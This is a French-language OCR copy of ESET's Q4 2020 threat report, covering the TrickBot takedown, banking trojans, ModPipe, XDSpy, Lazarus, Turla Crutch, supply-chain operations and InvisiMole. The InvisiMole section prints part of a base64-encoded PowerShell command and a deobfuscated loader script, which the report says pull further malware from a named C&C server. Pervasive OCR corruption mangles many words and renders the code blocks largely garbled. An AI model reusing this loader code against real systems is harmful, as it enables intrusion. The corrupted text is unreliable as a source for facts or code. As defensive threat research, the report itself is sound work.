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Avant-propos

Bienvenue dans l’édition de R4 2020 du rapport ESET sur les menaces !

2020 a été une année bien chargée (on ne peut pas dire qu’elle ait été « typique » ], et cela fait du
bien d’écrire au passe.

Comme si elle essayait vraiment de nous prouver quelque chose, la pandémie a pris un nouvel essor
au cours du dernier trimestre, entrainant de plus grandes vagues d’infections et de nouveaux
confinements dans le monde entier. Au milieu du chaos, les déploiements de vaccins tant attendus
sont un soulagement pour nos societes, ou du moins ils apporteront une lueur d’espoir quelque part
dans un avenir pas si lointain.

Dans le cyberespace, les evenements ont egalement pris un tournant spectaculaire vers la fin de
l'onnée, lorsque les nouvelles de l'attaque contre la chaine d’approvisionnement de SolarWinds ont
baolaye le secteur. Touchant de nombreuses victimes de haut niveau, cet incident rappelle brutalement
lao portée et l'impact potentiels de ces types d’attaques, qui sont egalement extrémement difficiles a
détecter et empécher.

Bien qu’elles ne soient pas toutes aussi explosives que le piratage de SolarWinds, les attaques contre
les chaines d’approvisionnement deviennent une tendaonce majeure : rien qu’en R4, ESET en a decouvert
autant que ce que I'ensemble du secteur voyait auparavant chaque année. Et au vu de ce que les
cybercriminels ont a gagner a les exploiter, leur hombre ne fera que continuer d’augmenter a ['avenir.

Heureusement, les pirates ne sont pas les seuls sur l'offensive. En octobre 2020, ESET a pris part o
une campaghe mondiale de perturbation des activites de TrickBot, 1'un des plus grands et plus anciens
botnets. Grace aux efforts combinés de tous ceux qui ont participe a cette operation, 94 7% des
serveurs de TrickBot ont ete demantelés en une semaine.

A l'aube de cette nouvelle annee, ce rapport offre non seulement une vue d’ensemble du paysage des
menaces de (R4, mais egalement des commentaires sur les tendaonces generales observees tout au long
de 2020, ainsi que des previsions pour 2021, par les specialistes ESET de la detection et de l'etude
des malwares.

Le téletravail etant la nouvelle nhorme dans de nombreux secteurs, 1'un des plus grands
bouleversements apportes par la pandemie, 1’éenorme croissance de 768 % du nombre d’attaques contre
ROP entre R1 et R4 2020 n’est pas surprenante. A mesure que la sécurité du télétravail s’améliore,
I’essor de ce type d’attaques devrait ralentir. Nous en avons dejo vu quelques signes en (4. Les
roansomwares sont l'une des raisons les plus pressantes de s’interesser a la securite de RDOP. Ils sont
géeneralement deployes via des exploitations de vulnéerabilités de ROP, et representent un risque
important pour les secteurs privée et public.

En Q4 2020, les ultimatums des opérateurs de ransomwares etaient plus agressifs que jamais, exigeant
probablement les montants de rancon les plus éleves a ce jour. Tandis que Maze, un pionnier des
attoques combinéees de ransomwares et de menaces de publication des données voléees, o cesse ses
activites en R4, d’autres cybercriminels ont utilise des techniques de plus en plus agressives pour
augmenter la pression sur leurs victimes. Au vu de 'evolution turbulente du paysage des ransomwares
tout au long de I'annee 2020, rien n’indique que ces attaques effrenees diminueront en 2021.

La croissance des ransomwares pourrait avoir etée un facteur important dans le declin des malwares
baoncaires, qui s’est intensifie au cours de R4. Les ransomwares et autres activitées malveillantes
sont tout simplement plus rentables que les malwares baoncaires, dont les opéerateurs sont confrontes
au renforcement de la securite dans le secteur bancaire. Il y a cependant une exception a cette
tendance : les malwares bancaires Android ont enregistre les niveaux de detection les plus elevés de
2020, durant R4, alimentés par la fuite du code source du cheval de Troie Cerberus.

La paondémie creant un terrain fertile pour toutes sortes d’activités malveillantes, il etait évident que
les escrocs exploitant la messagerie en voudraient une part. Notre téelemetrie a montré que COUID-19
a servi de leurre dans des emails illicites pendant toute l'annee 2020. R4 a egalement vu une
augmentation du nombre d’escrogueries aux vaccins, une tendance qui devrait se poursuivre en 2021.

Dans une evolution similaire au boom des cryptomonnaies de 2017, la valeur du Bitcoin a grimpe
en fleche a la fin de 2020. Cela s’est accompagne d’une legere augmentation des déetections des
extracteurs de cryptomonnaie, la premiere depuis octobre 2018. Si la valeur des cryptomonnaies
continue de s’apprécier, hous pouvons nous attendre a ce que les malwares, le phishing et les
escroqueries ciblant les cryptomonnaiesredeviennent des menaces courantes.

Le dernier trimestre de 2020 a egalement éte riche en études. ESET a revéle un certain nombre
d’attaques contre des chaines d’approvisionnement : une attaque de Lazarus en Coree du Sud, une
aottoque en Mongolie appelée Operation StealthyTrident, et Operation SignSight contre une autoritée
de certification au Uietnam. Nos chercheurs ont également déecouvert Crutch, une porte derobee de
Turla auparavant non documentee, et ¥OSpy, un groupe de pirates opérant secretement depuis au
moins 2011.

Pour ceux d’entre vous qui sont particulierement interesses par les études Jd’ESET, ce rapport
fournit egalement des informations inedites sur les activités de certains groupes de pirates, telles
qu’Operation In(ter])ception, InvisiMole, PipeMon, et plus encore. Uous les trouverez dans la section
Activites des groupes de pirates.

ESET continue de contribuer activement o la base de connaissances MITRE ATT&CK, qui a vu l'gjout
de cing entrées d’ESET en octobre. Comme toujours, les chercheurs d’ESET ont saisi de multiples
occasions pour partager leur expertise durant plusieurs conferences virtuelles ce trimestre,
notamment Black Hat Asia, AUAR, CODE BLUE, et bien d’autres. Si vous étes avide de nouveaux
contenus sur la cybersecurite de la part d’ESET Research, nous serons presents o la conference RSA
en mai 2021.

Les présentations d’ESET ne sont pas la seule chose a laquelle vous pouvez vous attendre en mai.
C’est egalement le mois de la publication de notre nouveau Rapport ESET sur les menaces au T1 2021.

D’ici la... bonne lecture, protégez-vous et prenez soin de vous !

Roman Kovaé, Chief Research Officer
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ESET a collabore avec ses partenaires

Microsoft, Lumen’s Black Lotus Labs, NTT Ltd.

et d’autres pour tenter de perturber les
botnets TrickBot. ESET a fourni a ce projet
des analyses techniques, des informations
statistiques, des nhoms de domaine et des
adresses IP de serveurs de commande et de
contrdle connus.

TrickBot a infecte plus d’un million
d’appareils informatiques dans le monde
depuis la fin 2016 et nous suivons ses
activites depuis le debut. Rien gu’en 2020,
notre plateforme automatique a analyse
plus de 125 000 echantillons malveillants,
et a telecharge et dechiffre plus de

40 000 fichiers de configuration utilises
par les differents modules de TrickBot. Elle
a ainsi fourni de precieux renseignements
sur les differents serveurs de commande et
de contrdle utilises par ce botnet.

Il

N
C

TrickBot a longtemps ete un fleau de taille
pour les internautes, avec des infections
regulierement signhalees, ce qui en fait

— l’'un des plus grands et des plus anciens

I
I
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ESET participe a une operation %
mohndiale visant a perturber les

activites de TrickBot

Jean-Ian Boutin, Head of Threat Research chez ESET

botnets. Les donnees de telemetrie d’ESET
d’'octobre 2019 a octobre 2020 montrent
que cette souche de malwares represente
une menace pour les internautes du monde
entier.

Tout au long de son existence, le malware
TrickBot a ete diffuse de differentes
manieres. L'installation de TrickBot sur
des systemes deja infectes par Emotet,
un autre grand botnet, est une chaine
d’infection gue nous avons frequemment
observee depuis peu.

L’architecture modulaire de TrickBot lui
permet d’effectuer un vaste eventail
d’actions malveillantes a 1’'aide de
differents plugins. Il peut voler toutes
sortes d’'identifiants sur un ordinateur
compromis, et integre depuis peu un
mecanisme d’'attaques plus devastatrices,
par exemple via l'installation de
ransomwares.

Tout au long de notre surveillance, nous
avons pu collecter et analyser 28 plugins

Déetections mondiales de TrickBot entre octobre 2019 et octobre 2020
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TrickBot differents. Certains sont destines a recuperer les
mots de passe des navigateurs, des clients de messagerie

et de differentes applications, tandis que d’autres peuvent
modifier le trafic reseau ou se propager. Les plugins TrickBot
sont implementés sous forme de DLL Windows standard,
generalement avec ces quatre exportations distinctes : Start,
Control, Belease et FreeBuffer.

Nous n’avons pas observe beaucoup d’'echantillons des
differents plugins une fois qu’ils ont ete developpes et
utilises. Ceux qui ont le plus change sont ceux qui contiennent
un fichier de configuration statique integre dans le binaire.
Ces fichiers de configuration contiennent entre autres des
informations sur le serveur de commande et de contrdle. Ils
evoluent donc au fil du temps.

Bien qu’il existe potentiellement de nombreux fichiers de
configuration differents telecharges dans une installation
TrickBot, 1le module principal contient une configuration
chiffree et codee en dur. Elle comprend une liste de serveurs
de commande et de contrdle ainsi qu’une liste par defaut de
plugins a telecharger.

Comme mentionne precedemment, certains plugins dependent
egalement des fichiers de configuration pour fonctionner
correctement. Ces plugins s’appuient sur le module principal
pour telecharger ces fichiers de configuration a partir

des serveurs de commande et de contrdle. Les plugins

y parviennent en transmettant une petite structure de
configuration de module, stockee dans la section overlay

du binaire du plugin, qui permet au module principal de
determiner ce qu’il doit telecharger.

Le rassemblement de ces fichiers de configuration nous a
permis de cartographier l'infrastructure reseau de TrickBot. Le
module principal utilise sa liste de serveurs de commande et
de contrdle codes en dur et se connecte a 'un d’entre eux pour
telecharger une seconde liste de serveurs de commande et de
contrdle, 1a liste « psrv ». Le module principal contacte cette
seconde couche de serveurs de commande et de contrdle pour
telecharger les plugins par defaut specifies dans le fichier

de configuration code en dur. D’autres modules peuvent étre
telecharges ulterieurement grace a une commande envoyee par
les operateurs de TrickBot. Certains plugins, tels qu’injectDl1l,
possedent leurs propres serveurs de commande et de contrdle
gul contiennent des fichiers de configuration. Enfin, i1l existe
des serveurs de commande et de contrdle dediées aux plugins.

TrickBot

(
o = = o el
: = . = . = .
: = . = . = .
. : srv PSrv serveur
Machine
_ I dpost
compromise ]

-
>:

requéte telecharge. module d

requéte sous-config module
(dpost, ding, sing,...)

reponse avec config

en attente de commande

\

— — — I
=) =] —_— !
— — — |
=) =l —_—l
- — - I
- o0 - [ - o0 I
|

serveur serveur serveur |
. . I
ding vhceconf srv |
]

3,

injectedDll

&)

Pwgrab

vneD11

)

rdpscanDll

Processus de communication du réeseaqu TrickBot
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Les plus repandus sont les serveurs « dpost », utilises pour
exfiltrer des donnees volees telles que des identifiants,
mais d’autres existent. Toutes ces differentes couches font
obstruction aux efforts de demantelement. Le schéma illustre
ce processus de communication initial.

Nous surveillons ces differents serveurs de commande et de
contréle depuis debut 2017. Ces connaissances ont bien sir
ete essentielles dans l'effort de demantelement, puisque nous
avons pu contribuer a la cartographie de l'infrastructure
reseau utilisée par les opérateurs.

Un autre element intéressant que nous avons pu recueillir
en parcourant tous les recoins de ce botnet est
l'identifiant unique preésent dans chague echantillon de
TrickBot, le « gtag ». La figure ci-dessous presente une

yas

U I

chil

trg

. I | |

chronologie de tous les gtags que hous avons extraits des
fichiers de configuration de TrickBot de septembre 2019 a
septembre 2020.

Tenter de perturber une menace insaisissable telle que
TrickBot est un exercice tres difficile et complexe. Elle
comporte plusieurs mecanismes de repli, et son interconnexion
avec d’autres cybercriminels tres actifs rend une operation
globale de ce type extrémement complexe a mettre en ccuvre.
Nous continuerons a surveiller cette menace et evaluer
I’impact que de telles actions peuvent avoir a long terme sur
un botnet aussi tentaculaire.

Nous remercions tout particulierement Jaokub Tomanek, Jozef Ouc,
Zoltan Rusnak et Filip Mazan.
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Chronologie des groupes de gtags

Article sur WeliveSecurity [1]

Donnees sur TrickBot obtenues aupres de
Microsoft

Le 20 octobre 2020, Microsoft a publié une note [2] sur l'effort
de perturbation.

Selon les donnees de Microsoft, l'operation mondiale a conduit
a I'elimination de 94 % de l'infrastructure opéerationnelle
critique de TrickBot. Sur les 69 serveurs dans le monde
initialement identifiés comme etant au coeur des operations
de TrickBot, 62 ont ete desactives. Les sept serveurs restants,
gul ne sont pas des serveurs de commande et de controle
traditionnels mais plutdt des objets connectés que TrickBot a
infectes et gu’il utilisait dans son infrastructure de serveurs,
etaient en cours de desactivation au moment de la publication.

Tandis que les exploitants de TrickBot s’efforcaient de
remplacer l'infrastructure handicapee, 59 nouveaux serveurs
qu’ils tentaient d’ajouter a leur infrastructure ont ete
identifies. Tous ces nouveaux serveurs, sauf un, ont ete
deésactiveés depuis.

En resume, depuis le debut de l'operation jusqu’'au 18 octobre,
120 des 128 serveurs identifies dans l'infrastructure de
TrickBot dans le monde ont ete demanteles.
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Dernieres decouvertes des
laboratoires de recherche d’'ESET

dans le monde

Malwares bancaires

Cybercriminalite financiere dans la region LATAM : partage
de TTP entre concurrents

Les chercheurs d’ESET ont decouvert que les chevaux de Troie bancaires de la region LATAM
semblent coopeéerer etroitement, bien gu’ils constituent plusieurs familles distinctes de
malwares. L’etude de longue date d’ESET sur ces chevaux de Troie a montré un grand nombre
de points communs entre les familles.

Premierement, la mise en ceuvre des noyaux des chevaux de Troie est pratiquement
identique. La logique principale de la chalne d’'infection est commune a tous les

groupes, recherchant d’abord la presence d’'une indication gue la machine ciblee a deja
eté compromise. Plusieurs chevaux de Troie bancaires ont commenceé a utiliser 1'outil
d’installation MSI de Windows comme premiere etape de la chaine d’'infection. De plus, les
mémes chalnes d’infection diffusent de multiples chevaux de Troie bancaires.

Parmi les autres points communs : l'utilisation des mémes bibliotheques tierces

et algorithmes de chiffrement peu courants, ainsi que les mémes technigues
d’'obscurcissement des chalnes et des binaires. Les chevaux de Troile bancaires
latino-americains partagent egalement des methodes d’execution, regroupant leurs propres
outils dans des archives ZIP.

Depuis 2019, nous avons observe que plusieurs chevaux de Troie bancaires latino-americains
commencaient egalement a cibler des pays européens, principalement 1’'Espagne et le
Portugal. Ils utilisent des modeles d’emails de spam similaires.

Nous pensons que plusieurs groupes de pirates sont charges de la maintenance de ces
familles de malwares et qu’ils cooperent.

Article sur WeliveSecurity [3]

Portes dérobees

La porte derobee ModPipe cible des logiciels pour
terminaux de point de vente utilises dans le secteur de
l’hétellerie pour y voler des donnees

ESET Research a decouvert une porte derobee modulaire appelee ModPipe, qui permet a des
pirates d’acceder a des informations sensibles sur des terminaux fonctionnant sous ORACLE

MICROS Restaurant Enterprise Series (RES]) 3700 P0OS. Le logiciel pour TPU (terminaux de
point de vente) est utilise dans l'industrie hdteliere du monde entier.

ModPipe se compose de plusieurs modules, un telechargeur initial, un chargeur persistant,
le module principal de communication entre les modules et de contrdle de 1’ensemble du
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malware, le module de connexion reseau et, enfin, des modules telechargeables. Les modules
telechargeables constituent la partie la plus intrigante de ce malware, en lul apportant des
fonctionnalites supplementaires.

Jusqu’a present, notre enquéte a permis de decouvrir trois modules telechargeables. Le
premier, GetMicInfo, contient un algorithme capable de dechiffrer les mots de passe RES 3700
stockes dans la base de registre. Les autres sont ModScan, qui recueille des informations
supplementaires sur l'environnement, et ProclList, qui rassemble des informations sur les
processus en cours. Nos recherches suggerent gqu’il existe au moins quatre autres modules
telechargeables dont les fonctionnalitées sont inconnues.

En utilisant les identifiants obtenus via GetMiclInfo, les pirates peuvent acceder au contenu
de la base de donnees, y compris aux informations sur les transactions des TPU. Ils ne
devraient pas étre en mesure d’acceder aux informations sensibles des clients de cette
maniere, mais il est possible gqu’un module dote d’une telle fonctionnalite existe.

Article sur WeliveSecurity [4]
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2DSpy

*DSpy : vol de secrets d’Etat depuils 2011

ESET Research a decouvert un groupe de pirates inconnu jusqu’alors qui opere depuis au
moins 2011. Nomme XDSpy par ESET, le groupe cible des entites des gouvernements et du
secteur prive dans les Balkans et en Europe de 1'Est afin d’exfiltrer des donnees.

Il recourt géneralement a des tentatives d’hameconnage pour lancer ses attaques. En 2020,
il a utilise au moins deux fois le theme de la pandemie de COUID-19 a cette fin. Les emails
contiennent le plus souvent une archive ZIP ou BRAR avec un fichier malveillant. En juin
2020, XDSpy a exploite une vulnerabilite d’'Internet Explorer pour diffuser un fichier RTF
malveillant. Un correctif pour cette vulnerabilite etait disponible deux mois auparavant.

Quelle que soit l’'approche du groupe, elle est suivie par le telechargement de XDDOown, le
principal composant du malware. XDDown est un telechargeur de malwares supplementaires
utilises principalement pour l'exfiltration des donnees. XDSpy opere les jours ouvres dans
le méme fuseau horaire gque ses victimes, ce qul suppose une activite professionnelle.

Comme nous n’avons trouvé aucune similitude avec d’autres familles de malwares au niveau
du code, et que nous n’avons observe aucunh chevauchement dans l'infrastructure reseau,
nous en concluons donc que XOSpyY est un groupe gqul a reussi a passer inapercu jusqu’a
présent.
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Enquétes d’'ESET sur les groupes de
mehnaces persistantes avancees et

leurs campagnes

Groupe Lazarus

Attaque de Lazarus contre une chaine d’'approvisionnement
en Corée du Sud

Les chercheurs d’ESET ont decouvert plusieurs tentatives de deploiement du malware
Lazarus en Coree du Sud via des attagues contre une chaine d’approvisionnement. Pour ce
faire, Lazarus s’est servi du logiciel de securite sud-coreen legitime WIZUERA UeraPort et
de certificats numeriques volés a deux societes difféerentes.

En Coree du Sud, de nombreux sites web du gouvernement et des banques en ligne
necessitent l'installation de logiciels de sécuritée suppléementaires sur les ordinateurs des
utilisateurs. L'un des programmes utilises pour gerer ces logiciels est WIZUERA UeraPort.
Lazarus a utilise ce programme pour diffuser des malwares a partir de sites web compromis
avec des options de configuration specifiques de UeraPort.

Les attagques ont ete attribuees a Lazarus par la communaute de la cybersecurite car elles
constituent la continuation de ce que le KrCERT a nomme Operation BookCodes, I'ensemble
d’outils, l'infrastructure reseau, la methode inhabituelle d’'infiltration et de chiffrement,
et les précedentes attaques de Lazarus ciblant la Coree du Sud.
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Les attagques contre des chaines d’approvisionnement permettent a des pirates de deployer des
malwares sur de nombreux ordinateurs en méme temps. Elles se produisent donc de plus en plus
frequemment.

Article sur WeliveSecurity [6]

Turla

Turla Crutch : une porte derobeéee grande ouverte

Les chercheurs d’ESET ont decouvert une nouvelle porte derobee appelee Crutch, gue nous avons
attribuee au groupe de pirates Turla. Elle a ete utilisee de 2015 jusqu’au debut 2020 au moins.
Comme c’est souvent le cas pour Turla, les attaques semblent étre tres ciblees, puisque le
malware etait present sur le reseau du ministere des affaires etrangeres d’'un pays de I'UE.

La boite a outils Crutch a eteée concue pour exfiltrer des documents sensibles vers des comptes
Dropbox contréles par les operateurs de Turla. Les commandes que nous avons pu capturer au
cours de l'analyse indiquent que les pirates faisaient principalement de la reconnaissance,

de I'espionnage et des mouvements lateraux. D’apres les heures auxquelles les operateurs
telechargeaient des fichiers ZIP dans Dropbox, nous estimons qu’ils operent dans le fuseau
horaire UTC+3.

Crutch n’est pas une porte derobee de premiere etape. Elle est deployee sur un reseau qui a
deja ete compromis a l’'aide d’'un implant tel que Skipper ou a 1’aide de PowerShell Empire.
Dans ce dernier cas, le malware pourrait arriver sur la machine via un autre implant ou
eventuellement par hameconnage.

La sophistication des attaques et les details techniques de la campagne renforcent encore la
perception gque Turla dispose de ressources considerables pour exploiter son arsenal vaste et
diversifie.
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Attaques contre des chaines d’approvisionnement

Operation StealthyTrident : des logiciels d’entreprise sont
attaques

Les chercheurs d’ESET ont decouvert que le logiciel de chat Able Desktop, qui fait partie d’'une
suite de logiciels d’entreprises populaire en Mongolie, a ete utilise pour diffuser la porte
derobeéee HyperBro, ainsi que les outils d’acces a distance Korplug et Tmanger. Nous avons
egalement trouve un lien avec ShadowPad par la porte derobee. Nous avons baptise ces attaques
Operation StealthyTrident en raison de l'utilisation intensive d’'une technique de chargement
lateral triple en « trident ».

Les malwares ont ete livres via des programmes d’installation infectes par des chevaux de
Troie et probablement un systeme de mise a jour compromis. Notre telemetrie montre que ces

programmes d’installation sont utilises au moins a partir de 2018 et que le systeme de mise a
Jour est compromis depuis au moins Juin 2020.

L’'attribution de cette campagne est difficile, car plusieurs groupes differents semblent y
participer. HyperBro est une porte derobee couramment utilisee par LuckyMouse, et Tmanger
a ete attribue au groupe TA428. Nous avons egalement observe que Tmanger a utilise 1'un

des serveurs de commande et de contrdle de ShadowPad dans cette serie d’attaques, et que
ShadowPad est utilise par au moins cing groupes differents de pirates. Il est possible que
certains des outils malveillants soient partages entre des groupes, que LuckyMouse et TA428
cooperent ou soient tout simplement le méme groupe.

Nous avons fait part de nos conclusions a Able Soft, I'auteur d’Able Desktop. L'entreprise a
declareé que les programmes d’'installation pirates et les mises a jour d’'Able Desktop n'avaient
pas ete utilises depuis que nous 1l'avons informee du probleme.
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Operation SignSight : attaque contre une autorite de
certification d’Asie du Sud-Est

Les chercheurs d’ESET ont decouvert une attaque contre la chaine d’approvisionnement du site
web de 1'Autorité de certification du gouvernement vietnamien (UGCA). Les pirates ont modifie
deux telechargements disponibles sur le site web en y ajoutant une porte derobee. Operation
SignSight utilise le malware appele PhantomNet ou Smanager.

Les signatures numerigues sont tres courantes au Uietnham et la UGCA est 1'un des fournisseurs
agrees de certificats. Les fichiers disponibles sur son site web sont donc juges dignes de
confiance, ce qui en fait une cible interessante pour les groupes de pirates.

PhantomNet, la porte derobee utilisee dans cette attaque, peut recueillir des informations de
base sur ses victimes : nom de l'ordinateur, nom d’héte, nom d’utilisateur, version du systeme
d’exploitation, privileges de l'utilisateur et adresse IP publique. Elle peut egalement recevoir
des plugins supplementaires et complexes qui ne sont tres probablement utilises que sur des
machines presentant un interét particulier pour les pirates.

Nous avons decouvert les attaques au debut du mois de décembre 2020 et nous pensons que le
site web de la UGCA a cesse de diffuser des contenus malveillants en aolt 2020. Des que nous
avons decouvert l'incident, nous en avons informe la UGCA, qui a confirme gu’elle etait deja au
courant de la situation et qu’elle en avait informe les utilisateurs concernes.

Article sur WeliveSecurity [9]
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Groupe InvisiMole Exclusivite

Le groupe InvisiMole est actif depuis au moins 2013, et est connu pour
ses attaques de cyberespionnage tres ciblees contre des institutions

gouvernementales et des missions diplomatiques en Europe de 1’Est.

Les outils d’'InvsiMole sont constamment developpes et mis a
jour pour echapper a toute detection

En juin 2020, les chercheurs d’ESET ont publié un livre blanc [10] documentant les réecentes
activites d’espionnage d’InvisiMole, decouvrant ses TTP ainsi que sa cooperation avec le groupe
Gamaredon. Notre surveillance au second semestre 2020 montre que le groupe est reste actif
tout au long de cette periode, avec de nouveaux objectifs situes en Armenie, en Bielorussie, en
Grece, en Russie et en Ukraine. Nous avons detecte de nouvelles versions des telechargeurs TCP
et ONS d’InvisiMole, un script PowerShell jusqu’alors inutilise, et des tentatives d’eviter les
detections.

Tel qu’il a eteé presente dans le livre blanc de Q2 2020, le telechargeur TCP d’'InvisiMole est

le premier outil déeploye apres une infection, et il utilise pour telecharger des composants
supplementaires. Le telechargeur TCP est generalement integre dans des executables infectes
par des chevaux de Troie, concus a partir de fichiers anodins volées a I'organisation compromise.
InvisiMole a continue d’utiliser cette technigue au cours du second semestre 2020. Nous

avons detecte six nouveaux documents PDF et installateurs de logiciels infectés [11] avec le
telechargeur TCP d’'InvisiMole.

De plus, nous avons decouvert une autre methode d’execution du telechargeur TCP. Dans ce
scenario, les pirates installent un script nomme <« execute.bat », qui lance PowerShell avec pour
argument un script codeé en base64.

powershell -enc

JABoAHMADAByADBAQAALAABACgB1ADCAY ghy ADAAMAATL ADUANAAAADsADQB1ADUANAAAADg AZ ABRADQAMg ABADAAMAAAADAAT B AGYAZ gBmAGY ANAALADs ADQASAGDAY g AL ADQAMD A AD T ANg A ADQA
ZABmADgAZ QALAGQANwAWADAAMA AWADAAMAABAGMAMAAWADY A gA2 ADEANg ABADQAYWAZ ADKAN gy ADc AMg AZADE AMAAWAD cAMg A3 ADKANAAADAAMAABADMANwAY ADYANQAZ2 ADEAMQAwAD c ANAAZ ADUA
HQABADY ACAAWADAAMOALADYANA AWADAANAAIADAAMAA 2 ADUANWABADQAMLAZ AGY ANgBAD c AMAAIADUANWABADAAMAA 2 ADUANWAYADQAZQAZ ADEAN g BKADYANQALAD cAMALWADAAMAAL ADY ANg ASADCA
MgA3ADQANWALADY AMQAZAGMANAAXADAAMAAZ AGMANEE JADYAZ gA2 ADMAMAAWADAAMAASAD cANwAZ ADAAMAAZ ADTANQBmADMAMWAz ADT AMgB 1ADYANAAZ AGMAN B ADg AMAAWADAANQASADUAMWABADEA
HNQAzADcANAAZADEAMAAWADMACA AWAD TAMNwAWADAAMz A ADQANgBmADY AMwAZ AGTANg AL AD c ANAABADEAMAAWADAAMAA 2 ADMANgBmADY AZ QA2 AGUAN g AL ADY AMWwA I ADQAMAAWADAAMAASAD T ANg AT ADYA
MwA3ADY AMAAWAD c AMwA2 ADUAMAAWADYAZ QA2 ADQAMAAWADY AMwA 2 AGMANgBmAD c AMwAZ ADUAMQAZ AD c AMwAwADTAMOB 1ADAAMAA X ADAANWABADAAMOQ AwADK AN g BmAD c AMAA I ADQAMALADAAMOAL ADUA
MALy ADAAMAAWADEAY gB1ADUAMZE jAGEAY QB ADAANg ALADY AMALX ADAAY gAwADE AMAAZ ADcANAAZ ADUANWAZADc ANAATADQANQAAADQAMW AT ADAANQ A ADAANQAWAGY AMg AS ADAANWANAACAMAB 1 ADAA
MAAY AGMACABmADAAMAABADUAZ AAAADY ANg AAADEAZ QR ADAAMABMmADAANAAAADAAMAAAADEAZ QASADAAMALA ADAAMALAWADAAMAAAADEAMWAS ADAAMAABAGQANQE h ADKAMAAWADAANWALAGY AMQABAD g A
0AASADgAMAABAGQAZ QAWADQADAAAAGQADAAL ADc AMABMAGY AMALX ADg ANAAWADAANAAT AGQAMAB 1AGTANAB LADY ANgA2ADY AN gA2 ADK AMALAWAD g A00 A ADQACAALAGTADAAX ADEANg Az ADg AMA G ADAA
MAASADUAMAMWADEANQABAD g ADAAZ ADQANQE kADg AMALY ADQADAAAAGT AMQAWADQAZABKADEAZ gBmAD K ANQAWADQAMOQ Ay AGUAMAB IAGT AMzg ABADQAMQ AL ADEAMAE mAD g AMAA Z AD g AMASWAD c ANQAXAGTA
MAAADAANAABAD g AMAALADg AL AAT ADAAMAAADAAMAAADAAZ QAWAGY AL gATADUAY gALAD g AMAABAD ZAOAB 1 ADUANGBEADAANAAAADg ADQAAD T ACAMAADEADQALAGMAZ AMWADAADA WADEAMOB JADEA
MAAWAGTANAATAGQADAALADMAMAAWADEANAAY ADAAY QB LADQADAALAGQADQAL AGQADAAAADALY g Ay AGTADQAAD E AMAAWADAAMO A ADAAMAAWAGYAZ g A1 ADUAOQAWAGMANWABADQANQABADTANALYADgA
OAAADAAN A ADAAD AL AD AAMW Ay ADAADAA ADY ANAABAD K AYQAZ AGT ADQAAADEAMALAY ADg AMDAWAD EAN AL AGT ADAAAAD EAMAAY AGTAY Qs ADEAMAB 1ADAANAB 1 ADKAMAAY ADAAMASWADUAZ gBmADUA
HOASADgANAALADY AMWE hADAAY WAWADQACAAAADKANAAL AGMADAAAADQAMWALADAANAAAADAAMLATADEADAB jADg ANAAXAGT ADAAAADAADQAKADY AMQ A AD AAMe ABAGEAMAAAADUAY whWADAADA A AGY A
0AATADcANAAWADAAMOAZ AGMANWABADUAZ g AwADODAMALX ADQADQE j ADAAMAAAADT AMs AS ADAANAALADAAMO B hADQAYWAAAGQANABKADS AYOBmADAADAAZ ADE AMW AWADY AMAAWADEANAB IAGEAZ gBmAGYA
ZgAAADEAMWBhADAAY(QE § ADAAMAAXADQACQ A ADQAMAAZ ADT AMWABADg AMAB § ADQACAAAAGQAY QA ADUANQEmADAAZ gBmADUANQAAADAADAMAAD TAY wBkADg ANAAY ADAAYQATADEANAAY ADTAMAABADEA

Script PowerShell encodé en baseb4 [(partiel]

Le script contient un shellcode de telechargement TCP integre, qui est compresse en LZ puis
code en une chaine hexadecimale. Lorsque le script PowerShell est execute, le shellcode est
decode, decompresse et charge dans un nhouveau thread. I1 se connecte au serveur de commande
et de controéle d'InvisiMole 82.202.172[.]1134:443 pour obtenir un malware supplémentaire.

opDo ::C O v . ion.Emit.AssemblyBuilderkcce
DefineDy HHMl”MHdHlH{$Q[ ] $False}.D:IineTy; p32',"'Public,Class")
SFr=[Reflection. FlHldIHIH[]]H{}
foreach($G in 'EntryPoint',
Sp=[IntPtr]
$s=[String]
S$i=[int]
$RS—|3{$p $J- $-1- $1}

ion') {$Fr+= [Runtime.InteropServices.DllImportAttribute] .GetField($G)}

{$p $1 $p $P $1 $p} _{_$pr§i1{__,lﬁ{$srf {$p $s} {$s $1 $1 $p $s $p $p} {$1 $p $1 $p $1 $s}

1 Le=L1l1lL - r B R e O L IR el W =i L r Ll SANEN RN LW v r - r 1 L4 ' EL r

; $1i -le (SN.length-1); $i++){

$PIn—$T DHIlnHM thod ($N[$i], [Reflection.Methodhttributes o', 8p, [Type[11S8As[$4i])

. t[]11R(SN[S5i], [Runtime.Interor ; q = ( ::Winapi)

ct Reflection.Emit. IH:tumﬁffllhutcﬂulldHL{[PHHTlMH.IHtcLHPLPL?lT:: DllImportAttribute] . Get

([Stringl)),@($QI$MI$1]1) ,$Fx, $F1)
SPIn. __tLH:tumBTTLlLHtc{$Ht}}
SA=S5T.CreateType ()
Sml=SA::VirtualAlloc((,5Q['1, , 64)

c:VirtualRlloc(0,$Q[0], , 64)

Constructor (@

oBinaryh ($hstr, 0, ,8ml,5z,0,0)

~Ellffpr{ ,$m2,5Q[0],5ml,5Q[11,5z2)

ct (SA: :CreateThread (0,0 ,5m2, 5A:: Prochddress ($A: :LoadLibraryR ($Q[=1) ,8N[41),0,0) ,=1)

Un script PowerShell qui charge un télechargeur TCP InvisiMole code en dur

Selon la telemetrie d’ESET, le malware telecharge est un programme d’installation pour la
chaine d’infection Wdigest [12] préfeérée d’'InvisiMole. Bien que déployée sur des hotes Windows

10 compromis, elle detourne notamment differentes fonctionnalites et vulnéerabilités non
documentees dans des binhaires Windows XP legitimes, afin de charger des malwares sous la
forme de modules InvisiMole caracteristiques.

En Q4 2020, le groupe InvisiMole a continue d'utiliser les mémes malwares, la porte derobee
RC2CL et telechargeur ONS, avec trois nouveaux serveurs de commande et de contrdle : the-
habal.]com, 21d[.]lxyz et ro2[.]host. Cependant, les pirates semblent avoir cesse d’utiliser les
en-tétes magiques 64DA11ICE et 86DA11CE pour les modules InvisiMole apres gque nous ayons publie
cette information dans notre document de Q2 2020, tres probablement pour tenter d’eviter la
detection de leurs outils.

Indicateurs de compromis (IoC] [13]
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Groupe Lazarus : Operation In(ter]ception

Exclusivite

Operation In(ter)ception est le nom donné par ESET a une série d’attaques
attribuées au groupe Lazarus. Ces attaques se poursuivent au moins depuis
septembre 2019 et visent des entreprises des secteurs de 1’'aéerospatiale,

de I'armee et de la défense. La campagne se demarque par l'utilisation de
tentatives d’hameconnage sur LinkedIn et d’astuces efficaces pour echapper a
toute detection. Son principal objectif semble étre 1’'espionnage d’entreprises.

Operation In(ter])ception

Apres plus d’'un an de surveillance, elle est toujours active a ce jour. Depuis gue nous avons
commence a la surveiller, nous avons detecte pres d’une douzaine de tentatives d’attaques.
